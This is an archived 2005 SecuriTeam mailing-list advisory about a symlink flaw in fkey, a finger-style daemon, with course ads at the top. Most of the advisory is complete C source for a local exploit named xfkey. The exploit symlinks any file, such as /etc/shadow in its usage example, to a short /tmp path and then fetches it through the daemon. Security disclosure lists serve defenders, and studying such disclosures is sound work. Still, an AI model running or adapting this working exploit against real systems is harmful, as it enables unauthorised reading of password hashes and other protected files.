Ethical Hacking Learn to find vulnerabilities before the bad guys do! Gain real world hands on hacking experience in our state of the art hacking lab. Course designed and taught by expert instructors with years of penetration testing experience. 12 student maximum in every class. Certification attempt included in every package. | Computer Forensics Training at InfoSec Institute Gain the in-demand skills of a certified computer examiner, learn to recover trace data left behind by fraud, theft, and cybercrime perpetrators. Discover the source of computer crime and abuse at your organization so that it never happens again. All of our class sizes are guaranteed to be 12 students or less to facilitate one-on-one interaction with one of our expert instructors. |

| Subject: | [EXPL] fkey Symblink Vulnerability |
|---|---|
| Date: | 23 Jan 2005 15:22:02 +0200 |
The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com - - promotion The SecuriTeam alerts list - Free, Accurate, Independent. Get your security news from a reliable source. http://www.securiteam.com/mailinglist.html - - - - - - - - - fkey Symblink Vulnerability ------------------------------------------------------------------------ SUMMARY <http://freshmeat.net/projects/fkey> fkey is "a scalable finger daemon type server for public display of user-specified files, e.g. PGP keys, contact information, etc. Users edit their data file (supplied as an ASCII text file), and the finger daemon displays it on public request. It may be used as a banner server". Due to improper usage of local files by fkey, its possible for a local attacker to use the program to gain elevated privileges. DETAILS Exploit: /*[ fkey[v0.0.2]: local/remote file accessibility exploit. ]* * * * by: vade79/v9 v9@fakehalo.us (fakehalo/realhalo) * * * * xfkey homepage/URL: * * http://www.freshmeat.net/projects/fkey * * * * compile: * * gcc xfkey.c -o xfkey * * * * syntax: * * # ./xfkey /etc/shadow 2>~/save_filename * * * * bug: * * fkey is a finger-like daemon for accessing remote files * * in a specified directory. there is no limitations * * placed on the file acessing other than it must be a * * filename/path equal to 10 or less bytes. this limits * * the remote possibilities somewhat, but symlinking to a * * short path(ie. /tmp/file) locally can access anything. * * (this exploits locally) * * - SECU * * note: * * this is pretty low-risk due to the fact that the * * program isn't very common, just browsing freshmeat.net * * and killing some time. * ************************************************************/ #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <string.h> #include <strings.h> #include <signal.h> #include <netdb.h> #include <sys/socket.h> #include <sys/types.h> #include <sys/time.h> #include <netinet/in.h> #include <arpa/inet.h> #define TMPFILE "/tmp/xfkey" /* must be 10 characters or less. */ void fkey_connect(unsigned short); void printe(char *,short); void sig_alarm(){printe("alarm/timeout hit.",1);} int main(int argc,char **argv){ unsigned short port=79; if(argc<2){ printf("[!] syntax: %s <file> [port]\n",argv[0]); exit(1); } if(argc>2)port=atoi(argv[2]); unlink(TMPFILE); if(symlink(argv[1],TMPFILE)) printe("symlink() failed.",1); fkey_connect(port); unlink(TMPFILE); exit(0); } void fkey_connect(unsigned short port){ int sock=0,l=0,m=0; char buf[1024+1]; struct hostent *t; struct sockaddr_in s; sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); s.sin_family=AF_INET; s.sin_port=htons(port); printf("[*] attempting to connect: localhost:%u.\n",port); if((s.sin_addr.s_addr=inet_addr("127.0.0.1"))){ if(!(t=gethostbyname("localhost"))) printe("couldn't resolve hostname.",1); memcpy((char*)&s.sin_addr,(char*)t->h_addr, sizeof(s.sin_addr)); } signal(SIGALRM,sig_alarm); alarm(3); if(connect(sock,(struct sockaddr *)&s,sizeof(s))) printe("connection failed.",1); alarm(0); printf("[*] successfully connected: localhost:%u.\n",port); write(sock,TMPFILE,strlen(TMPFILE)); alarm(5); for(memset(buf,0,1025);(l=read(sock,buf,1024));memset(buf,0,1025)){ fputs(buf,stderr); m+=l; } alarm(0); if(m<=0) printe("exploit failed, file doesn't exist or zero-length file.",0); close(sock); return; } void printe(char *err,short e){ printf("[!] %s\n",err); if(e)exit(1); return; } ADDITIONAL INFORMATION The information has been provided by <mailto:v9@fakehalo.deadpig.org> Vade 79. The original article can be found at: <http://fakehalo.us/xfkey.c> http://fakehalo.us/xfkey.c ======================================== This bulletin is sent to members of the SecuriTeam mailing list. To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com ==================== ==================== DISCLAIMER: The information in this bulletin is provided "AS IS" without warranty of any kind. In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.
| <Prev in Thread] | Current Thread | [Next in Thread> |
|---|---|---|
| ||
| Previous by Date: | [UNIX] Multiple Vulnerabilities in Konversation, SecuriTeam |
|---|---|
| Next by Date: | [UNIX] JSBoard Arbitrary File Reading, SecuriTeam |
| Previous by Thread: | [UNIX] Multiple Vulnerabilities in Konversation, SecuriTeam |
| Next by Thread: | [UNIX] JSBoard Arbitrary File Reading, SecuriTeam |
| Indexes: | [Date] [Thread] [Top] [All Lists] |